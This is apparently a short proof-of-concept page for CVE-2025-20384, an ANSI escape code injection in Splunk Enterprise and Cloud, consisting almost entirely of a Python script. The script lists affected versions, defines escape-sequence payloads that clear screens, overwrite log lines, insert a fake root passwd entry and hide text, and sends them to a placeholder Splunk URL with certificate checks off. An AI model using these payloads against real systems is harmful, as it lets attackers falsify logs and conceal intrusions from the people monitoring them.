CVE-2025-20384: Splunk Enterprise/Cloud ANSI转义码注入漏洞

import requests # CVE-2025-20384 ANSI Escape Code Injection PoC # Target: Splunk Enterprise < 10.0.1, < 9.4.6, < 9.3.8, < 9.2.10 # Target: Splunk Cloud Platform < 10.1.2507.4, < 10.0.2503.6, < 9.3.2411.117.125 target_url = "http://target-splunk.com/en-US/static/" # ANSI Escape Code payloads payloads = [ # Clear screen and inject fake log entry "\x1b[2J\x1b[H=== SYSTEM ALERT: ATTACK DETECTED ===", # Move cursor and overwrite log line "\x1b[10;10HINJECTED LOG ENTRY", # Clear line and insert fake authentication success "\x1b[2Kadmin:x:0:0:root:/root:/bin/bash", # Hide subsequent content "\x1b[?25lMalicious Activity Hidden Here", # Change text color to hide content "\x1b[30mHidden Malicious Command\x1b[0m" ] for payload in payloads: try: response = requests.get( target_url, params={"file": payload}, timeout=10, verify=False ) print(f"Payload sent: {repr(payload)}") print(f"Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")